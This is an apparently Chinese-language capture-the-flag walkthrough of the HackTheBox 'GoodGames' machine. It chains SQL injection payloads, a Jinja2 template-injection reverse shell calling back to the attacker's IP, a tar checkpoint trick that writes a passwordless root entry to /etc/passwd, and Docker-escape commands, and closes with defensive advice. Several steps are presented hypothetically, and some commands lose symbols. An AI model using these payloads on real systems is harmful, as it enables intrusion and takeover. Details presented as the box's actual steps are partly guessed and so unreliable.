从SQL注入到容器逃逸:HackTheBox GoodGames靶机完整渗透实战解析

从SQL注入到容器逃逸:HackTheBox GoodGames靶机完整渗透实战解析
1. 项目概述与核心价值最近在复现和整理一些渗透测试的实战案例发现“HackTheBox GoodGames”这台靶机非常有意思它完整地串联了从Web应用漏洞到容器逃逸的整个攻击链条。很多朋友在打靶时可能只关注了前期的SQL注入SQLi或者服务器端模板注入SSTI却忽略了最后一步的权限提升和逃逸导致攻击链不完整。今天我就以一个从业者的视角把这台靶机的完整渗透过程拆解一遍重点不是告诉你“点哪里”而是解释清楚“为什么这里会有漏洞”以及“每一步背后的逻辑是什么”。这个靶场模拟了一个名为“GoodGames”的社交游戏平台。整个攻击路径非常经典我们首先通过一个简单的SQL注入拿到后台管理员凭证然后利用后台功能中的服务器端模板注入SSTI获取一个反向Shell进入目标容器。最后在容器内部我们通过分析Docker环境利用一个SUID权限的二进制文件实现容器逃逸最终在宿主机上拿到root权限。这个过程几乎涵盖了从外网到内网、从低权限到高权限的完整渗透场景对于理解现代Web应用安全风险和容器安全非常有帮助。无论你是刚入门渗透测试的新手还是想巩固Web到内网知识体系的老手这个案例都值得深入研究。我会在每一步都补充上我踩过的坑、工具的参数选择理由以及遇到问题时的排查思路确保你看完就能自己动手复现出来。2. 攻击链全景与核心思路拆解在动手之前我们先从高处俯瞰一下整个攻击链条。这有助于我们理解攻击者也就是我们的思维路径而不是机械地执行命令。整个流程可以清晰地划分为三个阶段每个阶段的目标和利用的技术都不同。2.1 第一阶段外部突破——SQL注入获取初始立足点目标是一个Web应用我们的入口点自然是从网站前端开始。第一阶段的核心目标是获取一个有效的后台登录凭证。为什么是后台因为前台功能通常受限而后台往往存在更多的高危功能点是我们进入第二阶段的关键跳板。在这个靶机中我们发现的漏洞是联合查询Union-Based的SQL注入。它出现在用户登录/注册功能的一个参数里。选择从这里入手是因为登录功能通常直接与数据库交互且开发者容易在拼接SQL语句时疏忽过滤。我们的思路是利用注入点直接查询数据库从中提取出管理员用户的用户名和密码哈希值。这里会涉及信息收集判断数据库类型、版本、表结构和利用SQL语句直接读取数据的过程。2.2 第二阶段横向移动——SSTI获取代码执行权限拿到管理员账号密码后我们登录后台。第二阶段的目标是将Web应用权限转化为服务器操作系统层面的命令执行权限也就是拿到一个Shell。在后台我们发现了一个“更新个人信息”或类似的功能它允许用户输入内容并且这些内容会在服务器端被渲染。这里隐藏着一个**服务器端模板注入SSTI**漏洞。模板引擎如Flask的Jinja2的本意是动态生成HTML但如果没有对用户输入进行严格过滤攻击者就可以注入模板语法从而执行任意代码。我们的思路是通过SSTI漏洞构造一个能触发反向连接的Payload让目标服务器主动连接我们控制的监听器从而获得一个反向Shell。2.3 第三阶段权限提升——Docker环境分析与逃逸通过反向Shell我们进入了目标服务器环境。执行whoami和id命令后发现我们只是一个普通用户比如www-data。第三阶段的目标是提升权限最终逃逸出Docker容器控制宿主机。首先我们需要判断自己是否在容器内。通过检查/.dockerenv文件、/proc/1/cgroup内容等可以确认。确认在容器内后逃逸的思路有很多。在这个靶机中关键点是发现了一个具有SUID权限的非常见二进制文件。SUID意味着任何用户执行这个程序时都会以文件所有者的权限运行。如果这个程序的功能存在缺陷比如能执行系统命令或读写敏感文件我们就可以利用它来提升权限。我们的思路是分析这个SUID文件的功能寻找其内部可能调用系统命令的方式通过环境变量劫持或参数注入让它以root权限执行我们指定的命令从而实现容器内提权乃至逃逸到宿主机。这三个阶段环环相扣缺一不可。下面我们就进入具体的实操环节我会把每个步骤的参数、命令和背后的思考都讲清楚。3. 第一阶段实操SQL注入漏洞利用与凭证获取拿到靶机IP后第一步永远是信息收集。用浏览器访问或者用nmap进行快速扫描nmap -sV -sC -O 靶机IP参数解释-sV探测服务版本-sC使用默认脚本扫描-O尝试识别操作系统。扫描结果会显示开放了80端口HTTP和22端口SSH。我们先聚焦80端口的Web服务。访问网站是一个游戏社区。常规操作查看页面源码、用gobuster或dirsearch进行目录扫描寻找隐藏路径或后台入口。dirsearch -u http://靶机IP -e php,html,js,txt -w /usr/share/wordlists/dirb/common.txt很快我们可能会发现/login和/register等路径。但更有效的方法是直接测试功能点。我习惯从登录框开始测试SQL注入。3.1 定位与验证SQL注入点在登录框尝试使用经典的单引号‘来测试。在用户名或密码字段输入‘提交后观察页面反应。如果页面返回数据库错误如SQL语法错误或者登录行为出现异常比如错误的用户名密码提示语变了那就可能存在注入。在GoodGames靶机中我发现在注册功能的username参数存在注入。更具体地说是在注册时检查用户名是否存在的异步请求中。我们可以用Burp Suite拦截这个请求。实际操作与思考过程打开Burp Suite设置好代理。在浏览器访问注册页面输入一个用户名如test后浏览器通常会发送一个AJAX请求到类似/check_username的端点参数为usernametest。Burp拦截到这个GET或POST请求。将username参数的值修改为test‘然后发送。观察响应。如果返回的内容从“用户名可用”变成了某种错误或空白初步说明单引号破坏了SQL语句。为了确认我们进行布尔盲注测试。提交test‘ and ‘1’‘1如果页面正常返回用户名已存在或可用再提交test‘ and ‘1’‘2如果返回异常如直接报错或返回不同内容那么就可以确定存在基于布尔的SQL注入。注意这里我直接使用了and ‘1’‘1这种Payload是因为我根据错误信息推测后端SQL语句可能是SELECT * FROM users WHERE username ‘$input’。单引号闭合了前面的引号然后我们插入自己的逻辑。这是经验判断需要根据实际情况调整。3.2 利用SQLMap自动化注入与手动Payload构造确认漏洞后我们可以使用sqlmap进行自动化利用快速获取数据。但理解手动过程至关重要。sqlmap -u “http://靶机IP/api/check_username?usernametest” --batch --dbs参数--batch让sqlmap自动选择默认选项--dbs枚举数据库。sqlmap可能会识别出数据库是MySQL。然而手动构造能让我们更清楚原理。假设我们通过错误信息或测试知道后端查询大概是SELECT id FROM users WHERE username ‘$username’我们的目标是让这个查询返回我们想要的数据比如管理员的密码。步骤一确定字段数。使用ORDER BY子句。提交Payloadtest‘ ORDER BY 1-- -test‘ ORDER BY 2-- -依次递增直到页面返回错误。如果ORDER BY 3出错说明原始查询只有2个字段。-- -是注释符用于注释掉原SQL语句后面的部分。步骤二确定回显点。使用UNION SELECT。因为字段数是2我们构造test‘ UNION SELECT 1,2-- -。如果页面正常并且原本显示用户名的地方变成了数字1或2那就说明这个位置可以回显我们查询的数据。假设数字2的位置可以回显。步骤三获取当前数据库和用户信息。修改Payload利用回显点test‘ UNION SELECT 1, database()-- -回显位置会显示当前数据库名。test‘ UNION SELECT 1, user()-- -会显示当前数据库用户。这有助于我们了解权限。步骤四枚举表名和列名。在MySQL中我们可以查询information_schema数据库。test‘ UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema database()-- -这个Payload会将当前数据库中的所有表名连接起来并显示在回显点。假设我们看到了users表。接着枚举users表的列名test‘ UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_schema database() AND table_name ‘users’-- -我们可能会看到id,username,password,is_admin等列。步骤五提取关键数据。最后直接查询管理员账号密码test‘ UNION SELECT 1, concat(username, ‘:’, password) FROM users WHERE is_admin 1-- -这样我们就能在回显点直接看到类似admin:2b2e6f9c5b5c5c5c5c5c5c5c5c5c5c5c这样的字符串冒号前是用户名后面是密码哈希。实操心得在实际测试中页面可能没有明显的回显点这时就需要用到盲注布尔盲注或时间盲注。布尔盲注通过页面返回的真/假不同状态来逐位推断数据时间盲注则通过SLEEP()函数是否执行来判。虽然慢但原理相通。GoodGames这个点属于有回显的联合查询注入算是比较友好的。3.3 密码哈希破解与后台登录拿到的密码通常是经过哈希处理的比如MD5、SHA1。我们需要用工具如john或hashcat进行破解。首先识别哈希类型可以用hash-identifier工具或者根据长度和字符集判断32位十六进制通常是MD5。假设它是MD5我们使用johnecho “2b2e6f9c5b5c5c5c5c5c5c5c5c5c5c5c” hash.txt john --formatraw-md5 --wordlist/usr/share/wordlists/rockyou.txt hash.txt--format指定哈希类型--wordlist指定字典。如果密码不够复杂很快就能破解出来。拿到明文密码后尝试在网站的登录页面使用admin和破解出的密码登录。成功进入后台管理界面第一阶段目标达成。4. 第二阶段实操服务器端模板注入SSTI与反向Shell获取进入后台后不要漫无目的地点击。我们的目标是找到一个能将我们输入的内容在服务器端进行“渲染”或“执行”的地方。常见的位置包括个人资料编辑昵称、签名、页面模板编辑、文件上传名称、甚至某些查询结果的渲染页面。4.1 发现与确认SSTI漏洞在GoodGames后台存在一个“更新账户信息”的功能可能包含“姓名”、“邮箱”等字段。SSTI的测试方法很简单在每一个可输入的字段尝试插入模板引擎的通用语法。测试Payload示例Jinja2 (Flask):{{ 7*7 }}提交后查看页面如果显示49则存在SSTI。Twig (PHP):{{ 7*7 }}或{{‘7’*7}}显示7777777。Smarty:{7*7}。我们在“姓名”或“公司名”字段输入{{ 7*7 }}提交后在页面重新加载显示我们姓名的地方如果看到了49而不是{{ 7*7 }}那么恭喜SSTI漏洞存在。这证明我们输入的内容被服务器端的模板引擎执行了。注意事项有时候表达式执行了但结果没有直接显示在页面上。我们需要查看网页源代码CtrlU可能在HTML注释、隐藏标签或属性值里找到计算结果。另一种方法是使用会引发错误的Payload如{{ ‘’ .__class__ }}通过错误信息来判断模板引擎类型。4.2 利用SSTI执行系统命令确认漏洞后下一步就是通过模板引擎的沙箱逃逸执行系统命令。不同模板引擎的Payload不同。假设我们通过错误信息确认是Jinja2。Jinja2中我们可以利用Python的内省特性来一步步获取到执行命令的类。一个经典的Payload链如下获取字符串的类对象{{ ‘’.__class__ }}这会显示class ‘str’。获取基类object{{ ‘’.__class__.__mro__ }}或{{ ‘’.__class__.__bases__ }}。__mro__会显示方法解析顺序通常包含class ‘object’。获取object的所有子类{{ ‘’.__class__.__mro__[1].__subclasses__() }}。这会列出一大堆Python内置类和加载的模块类。我们需要从中找到能执行命令的类比如class ‘subprocess.Popen’。这个过程很繁琐。通常我们会使用一个已知的、较短的Payload来直接执行命令。经过搜索和测试一个在Jinja2中常用的有效Payload是{{ request.application.__globals__.__builtins__.__import__(‘os’).popen(‘whoami’).read() }}解释一下request是Flask的请求对象。__globals__包含函数全局变量的字典。__builtins__是内置模块。__import__(‘os’)动态导入os模块。popen(‘whoami’).read()执行系统命令并读取输出。将这个Payload插入到存在SSTI的字段并提交如果页面显示了当前服务器进程的用户如www-data说明命令执行成功。4.3 建立反向Shell连接执行单条命令还不够我们需要一个交互式的Shell。这就需要用到反向Shell。原理是让靶机主动连接我们控制的主机。第一步在攻击机上启动监听。使用netcat监听一个端口比如4444nc -lvnp 4444参数-l监听-v详细输出-n不解析域名-p指定端口。第二步构造反向Shell的SSTI Payload。我们需要一个能发起网络连接的命令。Python是通常可用的。Payload如下{{ request.application.__globals__.__builtins__.__import__(‘os’).popen(‘python3 -c “import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\“你的IP\”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\“/bin/bash\”)”’).read() }}这个Payload看起来很复杂其核心是执行了一段Python代码。这段代码创建了一个socket连接到我们攻击机的4444端口然后将标准输入、输出、错误都重定向到这个socket最后生成一个bash shell。重要提示你需要将你的IP替换成你攻击机的真实IP地址。如果靶机无法出网在HTB中通常可以这个步骤会失败。另外由于Payload中有大量引号在Web表单中输入时要注意转义或者直接通过Burp Suite修改请求包更为稳妥。第三步提交Payload并等待连接。在存在SSTI的字段提交上述Payload最好通过Burp Repeater模块发送方便修改和观察。如果一切顺利你会在netcat监听窗口看到连接建立并得到一个bash提示符。执行whoami和id命令确认权限通常是www-data用户。至此我们成功在目标容器内获得了初始Shell。5. 第三阶段实操容器内信息收集与Docker逃逸拿到Shell后我们处于一个低权限的容器环境。输入ls -la /查看根目录如果看到.dockerenv文件或者cat /proc/1/cgroup输出中包含docker字样就能确认我们在Docker容器内。5.1 容器内初步信息收集进行彻底的枚举# 查看当前用户和权限 id whoami # 查看操作系统和内核信息 uname -a cat /etc/os-release # 查看环境变量可能包含密钥或配置信息 env # 查看进程寻找其他服务或有趣的应用 ps aux # 查看网络连接了解容器内外的网络拓扑 netstat -antp # 查看已安装的软件包根据系统类型 dpkg -l # Debian/Ubuntu rpm -qa # CentOS/RHEL # 寻找敏感文件如配置文件、备份、密钥 find / -type f -name “*.pem” 2/dev/null find / -type f -name “*id_rsa*” 2/dev/null find / -type f -name “*.sql” 2/dev/null find / -type f -name “*.bak” 2/dev/null # 检查具有SUID权限的特殊文件这是提权的重点 find / -type f -perm -4000 2/dev/null最后一条命令find / -type f -perm -4000会列出所有设置了SUID位的文件。SUID文件是容器逃逸的常见突破口。5.2 分析SUID文件与漏洞利用在列出的SUID文件中我们寻找那些非系统默认的、或者功能不同寻常的二进制文件。在GoodGames靶机中你可能会发现一个名为/usr/bin/something或/opt/下的自定义程序。假设我们找到一个可疑的SUID文件叫/usr/local/bin/backup。首先用file命令查看其类型file /usr/local/bin/backup如果是ELF可执行文件尝试运行它看看功能/usr/local/bin/backup或者查看是否有帮助信息/usr/local/bin/backup --help假设它提示需要提供一个路径作为参数比如/usr/local/bin/backup /home/user功能可能是打包备份某个目录。关键思路很多自定义的备份脚本内部会调用系统命令如tar,cp,rsync并且可能没有使用绝对路径或者对用户输入过滤不严。我们可以尝试通过环境变量PATH劫持或者利用命令注入。测试命令注入/usr/local/bin/backup “/home/user; whoami”如果程序输出了当前用户可能是root说明存在命令注入。因为SUID权限这个whoami命令是以root身份执行的。更稳定的利用方式如果程序内部调用了tar并且我们可以控制部分参数就可能利用tar的--checkpoint和--checkpoint-action选项来执行任意命令。这是tar的一个特性常用于容器逃逸。例如我们可以这样利用cd /tmp mkdir exploit cd exploit # 创建一个会被tar读取的恶意文件 echo “echo ‘root::0:0:root:/root:/bin/bash’ /etc/passwd” shell.sh chmod x shell.sh # 使用备份程序并利用tar参数注入 /usr/local/bin/backup “--checkpoint1 --checkpoint-actionexec./shell.sh .”这个Payload利用了tar命令的特性当设置检查点时会执行我们指定的脚本shell.sh。这个脚本向/etc/passwd写入了一个无密码的root用户。由于备份程序以root权限运行所以这个写入操作能成功。5.3 实现容器逃逸与宿主机控制成功在容器内获得root权限后我们还需要逃逸到宿主机。因为容器与宿主机共享内核我们可以尝试访问宿主机的文件系统或进程。方法一挂载宿主机根目录。如果容器内的root用户有权限挂载设备我们可以尝试将宿主机的根目录挂载到容器内的一个目录。# 在容器内 mkdir /mnt/host mount /dev/sda1 /mnt/host # /dev/sda1 可能是宿主机磁盘需要尝试 # 如果mount失败可以尝试查看/proc/mounts寻找线索 cat /proc/mounts如果挂载成功/mnt/host就是宿主机的文件系统我们可以直接读写宿主机的文件例如修改/mnt/host/etc/passwd或者写入SSH密钥。方法二利用Docker Socket。Docker守护进程通常通过一个Unix Socket文件/var/run/docker.sock与客户端通信。如果这个socket文件在容器内是可读写的那么容器内的root用户就可以直接与宿主机Docker守护进程通信从而控制宿主机上运行的所有容器甚至创建新的容器并挂载宿主机根目录。# 检查docker.sock是否存在且有权限 ls -la /var/run/docker.sock如果存在且可写我们可以安装Docker客户端或使用curl直接调用API然后执行# 在容器内创建一个新容器并将宿主机根目录挂载进去 docker -H unix:///var/run/docker.sock run -it -v /:/host ubuntu:latest chroot /host bash这条命令会启动一个新的Ubuntu容器并将宿主机的/目录挂载到新容器的/host目录然后chroot到/host获得一个宿主机上的bash shell。方法三利用特权容器。如果容器是以--privileged模式运行的那么容器内的root用户几乎拥有宿主机root的全部能力可以很方便地逃逸。例如可以直接挂载宿主机磁盘# 在特权容器内 fdisk -l # 查看磁盘 mkdir /host mount /dev/vda1 /host # 挂载宿主机磁盘 chroot /host bash在GoodGames靶机中通常结合了SUID提权和某种文件系统访问或Docker Socket滥用最终实现在宿主机上获得root shell。完成这一步后整个从Web到宿主机Root的完整攻击链就彻底打通了。6. 常见问题、排查技巧与防御建议实录在实际操作中你几乎一定会遇到各种问题。下面我整理了一些常见的情况和我的解决思路。6.1 SQL注入阶段常见问题问题1使用sqlmap跑不出数据但手工测试似乎有注入。可能原因1请求需要特定的Header如X-Requested-With: XMLHttpRequest或Cookie会话有效。排查用Burp拦截正常请求完整复制包括所有Header和Cookie到sqlmap的-r参数文件中sqlmap -r request.txt --batch。可能原因2注入点是POST请求的JSON格式数据。排查在Burp中右键选择“Copy to file”保存整个请求。用sqlmap的-r参数加载该文件并使用--data参数指定数据部分可能需要加--headers指定Content-Type: application/json。问题2手工构造UNION SELECT时页面返回空白或错误。可能原因1字段数判断错误。ORDER BY的临界点判断有误。排查更仔细地观察页面变化。有时ORDER BY X正常ORDER BY X1可能不是直接报错而是页面内容布局错乱或部分缺失这也说明字段数是X。可能原因2前后端数据类型不匹配。比如回显点需要字符串但你UNION SELECT的数字。排查尝试将UNION SELECT后的所有字段都换成字符串如‘a‘或者NULL。例如UNION SELECT NULL, NULL-- -。6.2 SSTI阶段常见问题问题1测试{{ 7*7 }}没有显示49但页面有异常。可能原因模板引擎不是Jinja2或者是其他语法。或者表达式被执行了但输出被过滤或没有渲染到当前页面。排查尝试其他引擎的Payload{7*7}(Smarty),% 7*7 %(ERB),${{7*7}}(某些PHP模板)。查看网页源代码可能在注释、属性值或JavaScript变量里。尝试引发错误的Payload{{ ‘’ .__class__ }}或{{ config.items() }}看错误信息。问题2构造的反向Shell Payload执行后netcat没有收到连接。可能原因1Payload中的命令语法错误或Python版本不对。排查先执行一个简单的命令测试如{{ ‘’.__class__.__mro__[1].__subclasses__()[XXX] }}XXX是subprocess.Popen的索引或者直接执行ping命令看是否通{{ request.application.__globals__.__builtins__.__import__(‘os’).system(‘ping -c 1 你的IP’) }}。如果ping不通可能是容器网络限制。可能原因2攻击机防火墙阻止了入站连接或者IP/端口写错了。排查在攻击机上用sudo ufw status检查防火墙临时关闭或放行端口。确保nc -lvnp 4444命令在正确的网卡上监听如果是虚拟机注意NAT/桥接模式。6.3 Docker逃逸阶段常见问题问题1找不到有利用价值的SUID文件。可能原因目标环境比较干净。排查扩大搜索范围find / -type f -perm -4000 -o -perm -2000 2/dev/null同时查找SUID和SGID文件。检查/etc/sudoers文件看当前用户是否有可以免密运行的命令sudo -l。检查/etc/passwd中是否有非root用户但UID为0的用户。检查crontab定时任务看是否有以root权限运行的脚本且脚本内容可写。问题2利用tar的--checkpoint选项失败。可能原因1目标系统的tar版本不支持--checkpoint选项或者该选项被禁用。可能原因2备份程序的调用方式不是简单的tar cf可能封装了其他逻辑。排查在容器内检查tar的版本和帮助tar --version,tar --help | grep checkpoint。使用strace跟踪备份程序的执行过程看它具体调用了哪些命令和参数strace /usr/local/bin/backup /tmp 21 | grep exec。这能清晰看到命令是如何被调用的。6.4 防御建议思考从防御者角度看这个攻击链的每一个环节都可以被加固防御SQL注入根本方法使用参数化查询Prepared Statements或ORM框架永远不要拼接SQL语句。辅助措施对输入进行严格的类型检查和长度限制。使用Web应用防火墙WAF规则。防御SSTI原则绝对不要将用户输入直接传递给模板渲染函数。实践对用户输入进行严格的过滤和白名单验证。如果必须动态渲染使用沙箱环境并禁用危险的Python内置模块和函数。防御Docker逃逸最小权限原则运行容器时使用非root用户-u参数。绝不使用--privileged标志。只读文件系统对容器内不需要写入的目录使用只读挂载-v /host/path:/container/path:ro。移除能力使用--cap-dropALL移除所有权限再按需添加--cap-add。挂载Docker Socket需极度谨慎除非绝对必要否则不要将/var/run/docker.sock挂载到容器内。如果必须要严格限制其访问权限和使用范围。定期更新与扫描保持Docker和宿主机内核的更新。使用镜像安全扫描工具。这个靶机的渗透过程就像一次完整的安全体检暴露了从开发到运维各个环节可能出现的疏忽。作为攻击方我们学习如何串联利用这些漏洞作为防御方我们则要思考如何层层设防切断这条攻击链。真正的安全始于对每一行代码、每一个配置的敬畏。